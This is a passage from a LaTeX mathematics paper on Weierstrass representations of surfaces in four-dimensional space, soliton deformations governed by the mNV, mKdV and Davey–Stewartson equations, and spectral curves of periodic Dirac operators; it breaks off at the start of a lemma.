Hence the Grassmannian of Lagrangian $2$-planes in ${\mathbb R}^4$ is the
product of manifolds
$$
G^{\mathrm{Lag}}_{4,2} = {\mathbb C} P^1 \times S^1
$$
where ${\mathbb C} P^1$ is parameterized by $(a_1:a_2)$ and $S^1$ is
parameterized by
$$
\beta = \frac{1}{i}\log \frac{b_1}{b_2} \mod 2\pi.
$$
This quantity $\beta$ is called the Lagrangian angle. We conclude
that a surface is Lagrangian if and only if
$$
|\psi_1| = |\psi_2|
$$
in its Weierstrass representation. Let us put
$$
s = \left(\frac{e^{i\beta}}{\sqrt{2}},\frac{1}{\sqrt{2}}\right), \ \
\ (s_1 : s_2) = (\psi_1:\bar{\psi}_2) \in {\mathbb C} P^1
$$
and apply Theorem \ref{theorem4}. We obtain the following formulas:
$$
g = -\frac{i\beta}{2}, \ \ U = -\frac{1}{2}\beta_z, \ \ \psi_1 =
\psi_2 = \frac{1}{\sqrt{2}} e^{i\beta/2}.
$$
For any solution $\varphi$ to the equation ${\cal D}^\vee \varphi = 0$,
we obtain a Lagrangian surface defined by $\psi$ and $\varphi$ via
(\ref{int40}. Moreover all Lagrangian surfaces are represented in
this form.
Let
$$
f: \Sigma \to {\mathbb R}^4
$$
be an immersion of an oriented closed surface in ${\mathbb R}^4$. By
Theorem \ref{theorem4}, this surface is locally defined by the
formulas (\ref{int4}) and (\ref{int40}). A globalization is
similar to the case of surfaces in ${\mathbb R}^3$ and on the quaternion
language was described in \cite{PP,BFLPP} however to obtain it one
has to solve a $\bar{\partial}$-problem of the surface \cite{T5}:
\begin{proposition}
Given a Weierstrass representation of an immersion of an oriented
closed surface $\Sigma$ into ${\mathbb R}^4$, the corresponding functions
$\psi$ and $\varphi$ are sections of the ${\mathbb C}^2$-bundles $E$ and
$E^\vee$ over $\Sigma$ which are as follows:
1) $E$ and $E^\vee$ split into sums of pair-wise conjugate line
bundles
$$
E = E_0 \oplus \bar{E}_0, \ \ \ \ E^\vee = E^\vee_0 \oplus
\bar{E}^\vee_0
$$
such that $\psi_1$ and $\bar{\psi}_2$ are sections of $E_0$ and
$\varphi_1$ and $\bar{\varphi}_2$ are sections of $E^\vee_0$;
2) the pairing of sections of $E_0$ and $E^\vee_0$ is a $(1,0)$ form
on $\Sigma$: if
$$
\alpha \in \Gamma(E_0), \ \ \ \beta \in \Gamma(E^\vee_0),
$$
then
$$
\alpha \beta dz
$$
is a correctly defined $1$-form on $\Sigma$;
3) the Dirac equation ${\cal D} \psi =0$ implies that $U$ is a section of
the same line bundle $E_U$ as
$$
\frac{\partial \gamma}{\alpha} \in \Gamma(E_U) \ \ \ \mbox{for
$\alpha \in \Gamma(E_0),\ \ \gamma \in \Gamma(\bar{E}_0)$}
$$
and $U\bar{U} dz \wedge d\bar{z}$ is a correctly defined
$(1,1)$-form on $\Sigma$ whose integral over the surface equals
$$
\int_{\Sigma} U\bar{U} dz \wedge d\bar{z} = - \frac{i}{2} {\cal
W}(\Sigma)
$$
where ${\cal W}(\Sigma) = \int_{\Sigma} |{\bf H}|^2 d\mu$ is the
Willmore functional.
\end{proposition}
The gauge transformation (\ref{gauge2}) show that in difference
with the three-dimen\-sio\-nal case $\psi$ are not necessarily
sections of spin bundles.
For tori we derive from Theorem \ref{theorem4} the following result.
\begin{theorem}
[\cite{T5}] \label{torus} Let $\Sigma$ be a torus in ${\mathbb R}^4$ which
is conformally equivalent to ${\mathbb C}/\Lambda$ and $z$ is a conformal
parameter on it.
Then there are vector functions $\psi$ and $\varphi$ and a
function $U$ on ${\mathbb C}$ such that
1) $\psi$ and $\varphi$ give a Weierstrass representation of
$\Sigma$;
2) the potential $U$ of this representation is $\Lambda$-periodic;
3) functions $\psi$, $\varphi$, and $U$ meeting 1) and 2) are
defined up to gauge transformations
\begin{equation}
\label{gauge3} \left(
\begin{array}{c}
\psi_1 \\ \psi_2
\end{array}
\right) \to \left(
\begin{array}{c}
e^{h} \psi_1 \\ e^{\bar{h}} \psi_2
\end{array}
\right),
\\
\left(
\begin{array}{c}
\varphi_1 \\ \varphi_2
\end{array}
\right) \to \left(
\begin{array}{c}
e^{-h} \varphi_1 \\ e^{-\bar{h}}\varphi_2
\end{array}
\right),
\\
U \to e^{\bar{h} -h}U
\end{equation}
where
$$
h(z) = a + bz, \ \ {\mathrm{Im}\, } (b\gamma) \in \pi {\mathbb Z} \ \ \mbox{for all
$\gamma \in \Lambda$}.
$$
\end{theorem}
As in the case of surfaces in ${\mathbb R}^3$ in general the vector
functions $\psi$ and $\varphi$ define an immersion of the
universal covering surface $\widetilde{\Sigma}$ of a surface
$\Sigma$ into ${\mathbb R}^4$.
\begin{proposition}
An immersion of $\widetilde{\Sigma}$ converts into an immersion of
$\Sigma$ if and only if
\begin{equation}
\label{period4} \int_{\Sigma} \bar{\psi}_1\bar{\varphi}_1 d\bar{z}
\wedge \omega = \int_{\Sigma} \bar{\psi}_1 \varphi_2 d\bar{z} \wedge
\omega = \int_{\Sigma} \psi_2 \bar{\varphi}_1 d\bar{z} \wedge \omega
= \int_{\Sigma} \psi_2 \varphi_2 d\bar{z} \wedge \omega =0
\end{equation}
for any holomorphic differential $\omega$ on $\Sigma$.
\end{proposition}
For $\psi_1 = \pm \varphi_1, \psi_2 = \pm \varphi_2$ the formula
(\ref{period4}) reduces to (\ref{period3}).
\section{Integrable deformations of surfaces}
\subsection{The modified Novikov--Veselov equation}
\label{subsec3.1}
The hierarchy of modified Novikov--Veselov (mNV) equations was
introduced by Bogdanov \cite{Bogdanov1,Bogdanov2} and each
equation from the hierarchy takes the form of Manakov's
``L,A,B''-triple
$$
\frac{\partial L}{\partial t_n} = [L, A_n] - B_n L,
$$
where $L = {\cal D}$ is the Dirac operator
$$
L = \left(
\begin{array}{cc}
0 & \partial \\ -\bar{\partial} & 0
\end{array}\right) + \left(\begin{array}{cc} U & 0 \\ 0 & U
\end{array}\right)
$$
and $A_n$ and $B_n$ are matrix differential operators such that
the~highest term of $A_n$ takes the form
$$
A_n = \left(\begin{array}{cc} \partial^{2n+1} +
\bar{\partial}^{2n+1} & 0 \\ 0 & \partial^{2n+1} +
\bar{\partial}^{2n+1}
\end{array}\right) + \dots\ .
$$
In difference with ``L,A''-pairs, ``L,A,B''-triple preserves only
the zero energy level of $L$ deforming the corresponding
eigenfunctions. Indeed, we have
$$
\frac{\partial L \psi}{\partial t} = L_t \psi + L \psi_t = L[(A +
\partial_t)\psi] - (A+B)[L\psi].
$$
Therefore if $\psi$ meets the equation \begin{equation} \label{aequation}
\frac{\partial \psi}{\partial t} + A \psi = 0 \end{equation} and $L\psi_0 =
0$ for the initial data $\psi_0=\psi|_{t=t_0}$ of this evolutionary
equation then
$$
L \psi = 0
$$
for all $t \geq t_0$.
For $n=1$ we have the original mNV equation \begin{equation} \label{mnv} U_t =
\left(U_{zzz} + 3 U_z V + \frac{3}{2} U V_z \right) +
\left(U_{\bar{z}\bar{z}\bar{z}} + 3 U_{\bar{z}} \bar{V} +
\frac{3}{2} U \bar{V}_{\bar{z}}\right) \end{equation}
where
\begin{equation}
\label{mnv-cons} V_{\bar{z}} = (U^2)_z.
\end{equation}
We see that if the
initial Cauchy data $U\vert_{t=0}$ is a real-valued function then
the solution is also real-valued. In the case when $U\vert_{t=0}$
depends only on $x$ we have $U = U(x,t)$ and the mNV equation
reduces to the modified Korteweg--de Vries equation \begin{equation}
\label{mkdv} U_t = \frac{1}{4} U_{xxx} + 6U_x U^2 \end{equation} (here $V =
U^2$).
This reduction explains the name since Novikov and Veselov had
introduced in \cite{NV1,NV2} a hierarchy of $(2+1)$-dimensional
soliton equations which take the form of ``L,A,B''-triples for
scalar operators with $L =
\partial \bar{\partial} + U$, the two-dimensional Schr\"odinger
operator, and reduces in $(1+1)$-limit to the Korteweg--de Vries
equation. The original Novikov--Veselov equation takes the form
$$
U_t = U_{zzz}+ U_{\bar{z}\bar{z}\bar{z}} + (V U)_z + (\bar{V}
U)_{\bar{z}}, \qquad V_{\bar{z}} = 3 U_z
$$
and its derivation was later modified by Bogdanov for deriving the
mNV equation.
It from the formulas (\ref{int3}) and (\ref{int30}) of the
Weierstrass representation that just the zero energy level of the
Dirac operator relates to surfaces in ${\mathbb R}^3$. This leads to the
following
\begin{theorem} [\cite{K1}] \label{t-mnv} Let $U(z,\bar{z},t)$ be a
real-valued solution to the mNV equation (\ref{mnv}). Let $\Sigma$
be a surface constructed via the Weierstrass representation
(\ref{int3}) and (\ref{int30}) from $\psi_0$ such that $\psi_0$
meets Dirac equation ${\cal D} \psi_0=0$ with the potential $U =
U(z,\bar{z},0)$. Let $\psi(z,\bar{z},t)$ be a solution to the
equation (\ref{aequation}) with $\psi\vert_{t=0}=\psi_0$.
Then the surfaces $\Sigma(t)$ constructed from $\psi(z,\bar{z},t)$
via the Weierstrass representation give a soliton deformation of
the surface $\Sigma$. \end{theorem}
The deformation given by this theorem is called {\it the mNV
deformation of a surface}.
Of course, this theorem holds for all equations of the mNV
hierarchy. The recursion formula for them is still unknown and the
next equations are not written explicitly down until recently
except the case $n=2$ \cite{T1}. Finite gap solutions to the mNV
equations are constructed in \cite{T22} (see also \cite{T23}).
It was established in \cite{T1} that this deformation has a global
meaning for tori and preserves the Willmore functional.
\begin{theorem} [\cite{T1}] \label{tgeo-mnv} The mNV deformation evolves tori
into tori and preserves their conformal classes and the values of
the Willmore functional. \end{theorem}
The proof of this theorem is as follows.
To correctly define this
deformation we need to resolve the constraint (\ref{mnv-cons}) and
for tori that can be done globally as it was shown in \cite{T1}.
We have to take a solution $V$ to (\ref{mnv-cons}) normalized by
the condition that
$$
\int_\Sigma V dz \wedge d\bar{z} = 0.
$$
The form $(U^2)_t dz \wedge d\bar{z}$ is an exact form on a torus
$\Sigma$:
$$
UU_t = \bigg(UU_{zz}-\frac{U_z^2}{2}+\frac{3}{2}\,U^2V\bigg)_z+
\bigg(UU_{{\bar z}{\bar z}}-\frac{U_{\bar z}^2}{2}+\frac{3}{2}\,
U^2{\bar{V}}\bigg)_{\bar z}
$$
and therefore the Willmore functional is preserved:
$$
\frac{d}{dt} \int_\Sigma U^2 dz \wedge d\bar{z} = \int_\Sigma
(U^2)_t dz \wedge d\bar{z} = 0.
$$
The flat structure on a torus admits us to identify differentials
with periodic functions. For instance, formally $U^2 dz d\bar{z}$
is a $(1,1)$-differential and $Vdz^2$ is a quadratic differential.
This is impossible for surfaces of higher genus and therefore that
persists to define globally the mNV deformations of such surfaces.
Some attempt to redefine soliton deformations in completely
geometrical terms was done in \cite{BPP}. Finally it did not
manage to avoid introducing a parameter on a surface however some
interesting geometrical properties of the deformations were
revealed.
After papers \cite{K1,T1} in the framework of affine and Lie
sphere geometry some other soliton deformations of surfaces with
geometrical conservation laws were introduced and studied in
\cite{KonPic,Fer,BF}.
\subsection{The modified Korteweg--de Vries equation}
\label{subsec3.2}
In the case when $U$ depends only on $x = {\mathrm{Re}\, } z$ the Dirac
equation ${\cal D} \psi = 0$ for functions of the form \begin{equation}
\label{revsurf} \psi(z,\bar{z}) = \varphi(x)
\exp\left(\frac{iy}{2}\right) \end{equation} reduces to the Zakharov--Shabat
problem
$$
L \varphi = 0, \ \ \ L = \left[ \left(
\begin{array}{cc}
0 & 1 \\
-1 & 0
\end{array}
\right) \frac{d}{dx} + \left(
\begin{array}{cc}
q & - ik \\
- ik & q
\end{array}
\right)\right],\ \ \ \ q =2U,
$$
for $k = \frac{i}{2}$.
Notice that for surfaces of revolution the function $\psi$ takes
the form (\ref{revsurf}) in some conformal coordinate $z = x +iy$
where $y$ is the angle of revolution. However there are many other
surfaces with inner $S^1$-symmetry for which the potential $U$
depends only on $x$. The function $\varphi$ is periodic for tori
of revolution and is fast decaying for spheres of revolution
(\cite{T21}).
The operator $L$ is associated with the modified Korteweg--de
Vries hierarchy of soliton equations which admit the ``L,A''-pair
representation
$$
\frac{d L}{dt} = [L, A_n].
$$
The simplest of them is
$$
q_t = q_{xxx} + \frac{3}{2} q^2 q_x, \ \ \ \ n=1,
$$
$$
q_t = q_{xxxxx} + \frac{5}{2}q^2 q_{xxx} + 10 qq_x q_{xx} +
\frac{5}{2} q_x^3 + \frac{15}{8}q^4 q_x, \ \ \ \ n=2.
$$
The first of them coincides with the reduction (\ref{mkdv}) of the
mNV equation after substituting $q \to 4U$ and rescaling the
temporary parameter $t \to 4t$. In fact, the mKdV hierarchy is the
reduction of the mNV hierarchy for $U=U(x)$.
We see that in the mKdV case we have no constraints of type
(\ref{mnv-cons}) and may easily define mKdV deformations of
surfaces of revolution. Moreover in this case there is a recursion
formula for higher equations:
$$
\frac{\partial q}{\partial t_n} = D^n q_x, \ \ \ \ \ D =
\partial_x^2 + q^2 + q_x \partial^{-1}_x q.
$$
Let us introduce the Kruskal--Miura integrals. Their densities
$R_k$ are defined by the following recursion procedure:
$$
R_1 = \frac{iq_x}{2}-\frac{q^2}{4}, \ \ \ R_{n+1} = -R_{nx}
-\sum_{k=1}^{n-1} R_k R_{n-k}.
$$
It is shown that $R_{2n}$ are full derivatives and only the
integrals
$$
H_k = \int R_{2k-1} dx
$$
dot not vanish identically.
\begin{theorem} [\cite{T12}] For every $n \geq 1$ the $n$-th mKdV equation
transforms (as the reduction of the mNV deformation) tori of
revolution into tori of revolution preserving their conformal
types and the values of $H_k, k \geq 1$. \end{theorem}
A proof of the analogous theorem for spheres of revolution (they
are studied in \cite{T21}) is basically the same as for tori.
We note that the preservation of tori is not a trivial fact. This
$L$ operator also comes into the ``L,A''-pair representation of
the sine-Gordon equation and, thus, this equation also induces a
deformation of surfaces of revolution. However this deformation
closes up tori into cylinders.
We see that
$$
H_1 = - \frac{1}{4} \int q^2 dx = - 4 \int U^2 dx = -\frac{2}{\pi}
\int U^2 dx \wedge dy
$$
and therefore the first Kruskal--Miura integral is proportional to
the Willmore functional. The next integrals are
$$
H_2 = \frac{1}{16} \int (q^2 - 4q_x^2) dx, \ \ \ H_3 =
\frac{1}{32} \int (q^6 - 20 q^2 q_x^2 + 8 q_xx^2) dx.
$$
It is interesting
{\sl what are the geometrical meanings of the functionals $H_k$
and what are extremals of these functionals on compact
surfaces of revolution?}
The mKdV deformations of surfaces of revolution determine
deformations of the revolving curves in the upper half plane.
geometry of such deformations and therewith an interplay between
recursion relations and curve geometry were studied in
\cite{Langer,GarayLanger}.
\subsection{The Davey--Stewartson equation}
\label{subsec3.3}
The mNV equations are themselves reductions for $U=-p=\bar{q}$ of
the Davey--Stewartson equations represented by ``L,A,B''-triples
with
$$
L = \left(
\begin{array}{cc} 0 & \partial \\
-\bar{\partial} & 0
\end{array}
\right) + \left(
\begin{array}{cc} -p & 0 \\
0 & q
\end{array}
\right).
$$
Actually this reduction of the Davey--Stewartson (DS) equations
give more equations which are of the form
$$
U_t = i \left(\partial^{2n} U + \bar{\partial}^{2n} U \right) +
\dots
$$
and
$$
U_t = \partial^{2n+1} U + \bar{\partial}^{2n+1} U + \dots
$$
for $n \geq 1$. The first series does not preserve the reality
condition $U = \bar{U}$ and the second series for $U = \bar{U}$
reduces to the mNV hierarchy.
The first two of these equations are the DS$_2$ equation \begin{equation}
\label{ds2} U_t = i(U_{zz}+U_{\bar{z}\bar{z}} + 2(V+\bar{V})U)
\end{equation} where \begin{equation} \label{ds2-cons} V_{\bar{z}} = \partial (|U|^2)
\end{equation} and the DS$_3$ equation (which is sometimes called the
Davey--Stewartson I equation) \begin{equation} \label{ds3} U_t =
U_{zzz}+U_{\bar{z}\bar{z}\bar{z}} + 3(V U_z + \bar{V} U_{\bar{z}})
+ 3(W+W^\prime) U \end{equation} where \begin{equation} \label{ds3-cons} V_{\bar{z}} =
(|U|^2)_z, \ \ \ W_{\bar{z}} = (\bar{U}U_z)_z, \ \ \ W^\prime_z =
(\bar{U}U_{\bar{z}})_{\bar{z}}. \end{equation}
The Davey--Stewartson equations govern soliton deformations of
surfaces in ${\mathbb R}^4$. As for the case for surfaces in ${\mathbb R}^3$ such
deformations were introduced by Konopelchenko who proved in
\cite{K2} the corresponding analog of Theorem \ref{t-mnv}.
However in this case there are two specific problems:
1) As we already mentioned in \S \ref{subsec2.5} the Weierstrass
representation of a surface in ${\mathbb R}^4$ is not unique. Does the DS
deformations of surfaces geometrically different for different
representations?
2) The constraints for the DS equations are more complicated and
how to resolve the constraints (\ref{ds2-cons}) and
(\ref{ds3-cons}) to obtain global deformations of closed surfaces?
These problems we considered in \cite{T5}.
The answer to the first question demonstrates a big difference
from the mNV deformation:
\begin{itemize}
\item
{\sl the DS deformations are correctly defined only for surfaces
with fixed potentials $U$ of their Weierstrass representations and
for different choices of the potentials such deformations are
geometrically different.} \end{itemize}
It would be interesting to understand the geometrical meanings of
these different deformations of the same surface.
The second question is answered by the following analog of Theorem
\ref{tgeo-mnv}:
\begin{theorem} 1) Given $V$ uniquely defined by (\ref{ds2-cons}) and the
normalization condition $\int V dz \wedge d\bar{z}=0$, the DS$_2$
equation induces deformation of tori into tori preserving their
conformal classes and the values of the Willmore functional.
2) For \begin{equation} \label{ds3-cons-sol} V_{\bar{z}} = (|U|^2)_z, \ \ \
\int V dz \wedge d\bar{z} = 0, \ \ \ W = \partial
\bar{\partial}^{-1} (\bar{u}u_z), \ \ \ W^\prime = \bar{\partial}
\partial^{-1} (\bar{u}u_{\bar{z}}) \end{equation} the DS$_3$ equation
governs a deformation of tori into tori which preserves their
conformal classes and the Willmore functional. \end{theorem}
The surface is deformed via deformations of $\psi$ and $\varphi$
and such deformations involve the operators $A$ from the
``L,A,B''-triple. There much more additional potentials coming in
$A$ and the DS equations as it is explained in \cite{K2}. We do
not explain here the reductions in the formula for $A$ which are
necessary to save closedness of surfaces under deformations. We
only mention that the formula (\ref{ds3-cons}) defines the
periodic potentials $W$ and $W^\prime$ up to constants and the
formula (\ref{ds3-cons-sol}) normalizes these constants. This
normalization is necessary for preserving the Willmore functional.
The resolution of the constraints is exposed in \cite{T5} and we
refer to this paper for all details.
\section{Spectral curves}
\label{sec2}
\subsection{Some facts from functional analysis}
\label{subsec4.1}
Given a domain $\Omega \subset {\mathbb R}^n$, denote by $L_p(\Omega)$ and
$W^k_p$ the Sobolev spaces which are the closures of the space of
finite smooth functions on $\Omega$ with respect to the norms
$$
\|f\|_p = \int_{\Omega} |f(x)|^p dx_1 \dots dx_n
$$
and
$$
\|f\|_{k,p} = \sum_{0 \leq l_1+ \dots +l_n =l \leq k}
\int_{\Omega} \left|\frac{\partial^l f}{\partial^{l_1} x_1 \dots
\partial^{l_n} x_n}\right|^p dx_1 \dots dx_n.
$$
For a torus $T^n = {\mathbb R}^n/\Lambda$ we denote by $L_p(T^n)$ and
$W^k_p(T^n)$ the analogous Sobolev spaces formed by
$\Lambda$-periodic functions. Therewith the integrals in the
definitions of norms are taken over compact fundamental domains of
the translation group $\Lambda$.
\begin{proposition}
\label{proposition1} Given a compact closed domain $\Omega$ in
${\mathbb R}^n$ or a torus, we have
\begin{itemize}
\item
(Rellich)
there is a natural continuous embedding
$
W^k_p(\Omega) \to L_p(\Omega)
$
which is compact for $k > 0$;
\item
(H\"older)
a multiplication by $u \in L_p$ is a bounded operator
from $L_q$ to $L_r$ with
$
\|uv\|_r \leq \|u\|_p \|v\|_q, \ \ \frac{1}{p} + \frac{1}{q} =
\frac{1}{r};$
\item
(Sobolev)
there is a continuous embedding
$W^1_p(\Omega) \to L_q(\Omega), \ \ q \leq \frac{np}{n-p}$
whose norm is called the Sobolev constant;
\item
(Kondrashov)
for $q < \frac{np}{n-p}$ the Sobolev embedding is compact.
\end{itemize}
\end{proposition}
We shall denote the space of two-component vector functions on a
torus $M = {\mathbb R}^2/\Lambda$ by
$$
L_p = L_p(M) \times L_p(M), \ \ \ \
W^k_p = W^k_p(M) \times W^k_p(M)
$$
in difference with the spaces of scalar functions $L_2(M)$ and
$W^1_p(M)$.
Let $H$ be a Hilbert space. An operator $A: H \to H$ is compact
if for the unit ball $B = \{|x|<1 : x \in H\}$ the closure of its
image $A(B)$ is compact. The spectrum ${\mathrm{Spec}\, } A$ of a compact
operator $A$ is bounded and can have a limit point only at zero.
Given a Hilbert space $H$ and an operator $A$ (not necessarily
bounded) denote by $R(\lambda)$ the resolvent of $A$. It is a
operator pencil :
$$
R(\lambda) = (A-\lambda)^{-1}
$$
with singularities at ${\mathrm{Spec}\, } A$ and holomorphic in
$\lambda$ outside ${\mathrm{Spec}\, } A$.
The Hilbert identity reads
\begin{equation}
\label{hilbert}
R(\mu)R(\lambda) = \frac{1}{\mu-\lambda}(R(\lambda) - R(\mu)),
\end{equation}
or in another notation it is
$$
\frac{1}{A-\mu} \frac{1}{A-\lambda} =
\frac{1}{\mu - \lambda} \left(\frac{1}{A-\lambda} -
\frac{1}{A-\mu}\right).
$$
Given a resolvent defined in some domain in ${\mathbb C}$, we may extend it
onto ${\mathbb C}$ by using the following consequence of the Hilbert
identity:
$$
R(\mu) = R(\lambda) ((\mu-\lambda) R(\lambda) +1)^{-1}
$$
(notice that $R(\lambda) R(\mu) = R(\mu) R(\lambda)$).
\begin{proposition}
\label{proposition2}
If $R(\lambda)$ is compact for $\lambda = \lambda_0$ and holomorphic in
$\lambda$ near $\lambda_0$ then
1) $R(\mu)$ is compact for any $\mu \in {\mathbb C} \setminus {\mathrm{Spec}\, } A$
and the resolvent has poles in points from ${\mathrm{Spec}\, } A$;
2) $R(\lambda)$ is holomorphic in ${\mathbb C} \setminus {\mathrm{Spec}\, } A$.
\end{proposition}
\subsection{The spectral curve of the Dirac operator with boun\-ded poten\-tials}
\label{subsec4.2}
In this section we explain the scheme of proving the existence of
a spectral curve of the differential operator with periodic
coefficients which we used \cite{T2} for the case of Dirac
operators with bounded potentials. This case covers all Dirac
operators corresponding to immersed tori in ${\mathbb R}^3$.
Let
$$
{\cal D} =
\left(
\begin{array}{cc}
0 & \partial \\
-\bar{\partial} & 0
\end{array}
\right)+
\left(
\begin{array}{cc}
U & 0 \\
0 & V
\end{array}
\right) =
{\cal D}_0 +
\left(
\begin{array}{cc}
U & 0 \\
0 & V
\end{array}
\right).
$$
Here we denote by ${\cal D}_0$ the free Dirac operator:
\begin{equation}
\label{diracfree}
{\cal D}_0 =
\left(
\begin{array}{cc}
0 & \partial \\
-\bar{\partial} & 0
\end{array}
\right).
\end{equation}
A Floquet eigenfunction $\psi$ of the operator ${\cal D}$ with the
eigenvalue (or the energy) $E$ is a formal solution to the equation
$$
{\cal D} \psi = E \psi
$$
which satisfies the following periodicity conditions:
$$
\psi(z+\gamma_j,\bar{z}+\overline{\gamma}_j) = e^{2\pi i
(k,\gamma_j)} \psi(z,\bar{z}) = \mu(\gamma_j)\psi(z,\bar{z}), \ \
j=1,2,
$$
where
$$
(k,\gamma_j) = k_1 \gamma_j^1 + k_2 \gamma_j^2, \ \ \gamma_j = \gamma_j^1 + i \gamma_j^2 \in {\mathbb C} = {\mathbb R}^2, \ \
k = (k_1,k_2).
$$
The quantities $k_1,k_2$ are called the quasimomenta of $\psi$ and
$(\mu_1,\mu_2) = (\mu(\gamma_1)$, $\mu(\gamma_2))$ are the
multipliers of $\psi$.
Let us represent a Floquet eigenfunction $\psi$ as a product
$$
\psi(z,\bar{z}) = e^{2\pi i (k_1 x + k_2 y)} \varphi(z,\bar{z}),
\ \ z=x+iy, \ x,y \in {\mathbb R},
$$
with a $\Lambda$-periodic function $\varphi(z,\bar{z})$. The
equation ${\cal D} \psi = E\psi$ takes the form
$$
\left[\left(
\begin{array}{cc}
0 & \partial \\
-\bar{\partial} & 0
\end{array}
\right) +
\left(
\begin{array}{cc}
U & \pi i (k_1 - ik_2) \\
-\pi i(k_1 + i k_2) & V
\end{array}
\right)\right]
\left(
\begin{array}{c}
\varphi_1 \\ \varphi_2
\end{array}
\right) =
E
\left(
\begin{array}{c}
\varphi_1 \\ \varphi_2
\end{array}
\right).
$$
We have an operator pencil
\begin{equation}
\label{pencil}
{\cal D}(k) = {\cal D} + T_k
\end{equation}
where
\begin{equation}
\label{tk}
T_k =
\left(
\begin{array}{cc}
0 & \pi i (k_1 - ik_2) \\
-\pi i (k_1 + ik_2) & 0
\end{array}
\right).
\end{equation}
This pencil depends analytically on parameters $k_1,k_2$.
We see that to find a Floquet eigenfunction $\psi$ with the quasimomenta
$k_1,k_2$ and the energy $E$ is the same as to find
a periodic solution $\varphi$ to the equation
$$
{\cal D}(k) \varphi = E\varphi.
$$
We consider solutions to this equation from $L_2$.
We take a value of $E_0$ such that the operator $({\cal D}_0 - E_0)$ is
inverted on $L_2$, i.e. there exists the inverse operator
$$
({\cal D}_0-E_0)^{-1}: L_2 \to W^1_2.
$$
We represent $\varphi$ in the form
$$
\varphi = ({\cal D}_0-E_0)^{-1} f
$$
and substitute this expression into the equation
$$
({\cal D}(k)-E)\varphi = 0
$$
arriving at the following equation:
$$
(1 + A(k,E)) f =0, \ \ \ f \in L_2,
$$
with
$$
A(k,E) =
\left(
\begin{array}{cc}
U + (E_0 - E) & \pi i(k_1 - ik_2) \\
-\pi i (k_1 + ik_2) & V +(E_0 - E)
\end{array}
\right)
({\cal D}_0 - E_0)^{-1} =
$$
$$
= B(k,E)({\cal D}_0 - E_0)^{-1}.
$$
Finally the problem of existence of Floquet functions
with the quasimomenta $k$ and the energy $E$ reduces
to the solvability of
the equation
$$
(1 + A(k,E))f = 0
$$
in $L_2$. Let us notice that the operator $A(k,E)$ is decomposed in the
following chain of operators:
\begin{equation}
\label{dec}
L_2 \stackrel{({\cal D}_0-E)^{-1}}{\longrightarrow} W^1_2
\stackrel{\mathrm{embedding}}{\longrightarrow} L_2
\stackrel{\mathrm{multiplication}}{\longrightarrow} L_2.
\end{equation}
The first mapping is continuous, the second mapping is compact, and,
assuming that the potentials $U$ and $V$ are bounded, the third mapping
which is the multiplication by $B(k,E)$
is continuous. Therefore, we have
\begin{proposition}
Given bounded potentials $U$ and $V$, the analytic pencil of
operators $A(k,E): L_2 \to L_2$
consists of compact operators.
\end{proposition}
Now we can use the Keldysh theorem \cite{Keld1,Keld2} which is the
Fredholm alternative for analytic operator pencils of the form $[1 +
A(\mu)]$ where $A(\mu)$ is a compact operator for every $\mu$. It
reads that
\begin{itemize}
\item
the resolvent of
a pencil $[1+A(\mu)]:H \to H$
where $A(\mu)$ is an analytic pencil of compact operators
is a meromorphic function of $\mu$. Its singularities
which correspond to solutions of the equation $(1+A(\mu))f = 0$
form an analytic subset $Q$ in the space of parameters $\mu$.
\end{itemize}
In the sequel we consider only Floquet functions with $E=0$.
For the operator ${\cal D}$ with potentials $U,V$ we have $\mu=(k,E)
\in\ {\mathbb C}^3$ and we put
\begin{equation}
\label{keld}
Q_0 (U,V) = Q \cap \{E=0\}.
\end{equation}
This set is invariant under translations by vectors from the dual
lattice $\Lambda^{\ast} \subset {\mathbb R}^2 = {\mathbb C}$:
$$
k_1 \to k_1 + \eta_1, \ \ \
k_2 \to k_2 + \eta_2.
$$
We recall that the dual lattice consists of vectors
$\eta = \eta_1 + i \eta_2$
such that $(\eta,\gamma) = \eta_1\gamma^1 + \eta_2\gamma^2$ for any
$\gamma = \gamma^1 + i \gamma^2 \in \Lambda$.
The spectral curve is defined as
$$
\Gamma = Q_0(U,V)/\Lambda^\ast.
$$
{\sc Remark.}
It is easy to notice that the composition of the operator
$$
({\cal D}(k) - E)^{-1} = ({\cal D}_0 - E_0)^{-1}(1+A(k,E))^{-1}: L_2 \to W^1_2
$$
and the canonical embedding $W^1_2 \to L_2$ is the resolvent
$R(k,E)$ of
the operator
$$
{\cal D}(k) = {\cal D} +
\left(
\begin{array}{cc}
0 & \pi i (k_1-ik_2) \\
-\pi i(k_1+ik_2) & 0
\end{array}
\right).
$$
The intersection of the set of poles of $R(k,E)$ with the plane
$E=0$ is the set $Q_0(U,V)$.
We arrive at the following definitions:
\begin{itemize}
\item
the {\it spectral curve} $\Gamma$ of the operator ${\cal D}$ with
potentials $U$ and $V$ is the complex curve $Q(U,V)/\Lambda^\ast$
considered up to biholomorphic equivalence;
\item
on $\Gamma$ there is defined the {\it multiplier mapping}, which
is a local embedding near a generic point:
$$
{\cal M}: \Gamma \to {\mathbb C}^2 \ \ : \ \ {\cal M}(k) = (\mu_1,\mu_2) =
(e^{2\pi i (k,\gamma_1)}, e^{2\pi(k,\gamma_2)}),
$$
where $\gamma_1,\gamma_2$ are generators of $\Lambda \subset {\mathbb C}$
and $(k,\gamma_j) = k_1 {\mathrm{Re}\, } \gamma_j + k_2 {\mathrm{Im}\, } \gamma_j, j=1,2$.
\footnote{This a mapping depends on a choice of generators
$\gamma_1,\gamma_2$. if the basis $\gamma_1,\gamma_2$ is replaced
by another basis $\widetilde{\gamma}_1 = a \gamma_1 + b \gamma_2,
\widetilde{\gamma}_2 = c \gamma_1 + d \gamma_2$, then ${\cal M} =
(\mu_1,\mu_2)$ is transformed as follows \begin{equation} \label{changebasis}
{\cal M} \to \widetilde{\cal M} = (\mu_1^a \, \mu_2^b, \mu_1^c \,
\mu_2^d). \end{equation}};
\item
to every point of $\Gamma$ there is attached the space of Floquet
functions with given multipliers. The dimension of such spaces, in
general, jumps at singular points of $\Gamma$.
\end{itemize}
\begin{proposition}
\label{involutions}
Let $k =(k_1,k_2)$ be the quasimomenta of a
Floquet function of ${\cal D}$.
1) If $U = \bar{V}$, $\Gamma$ admits an antiholomorphic involution
$\tau: k \to -\bar{k}$.
2) If $U = \bar{U}$ and $V = \bar{V}$, $\Gamma$ admits an
antiholomorphic involution $k \to \bar{k}$.
3) If $U= \bar{U} = V$, then the composition of involutions from
1) and 2) gives a holomorphic involution $\sigma: k \to -k$.
\end{proposition}
Such conditions are usual for spectral curves (see, for instance,
the case of a potential Schr\"odinger operator in \cite{NV1,NV2})
and for the Dirac operator are explained in
\cite{Schmidt,T22,T23}. The simplest of them is the first one
which is proved by the following evident lemma.
\begin{lemma}
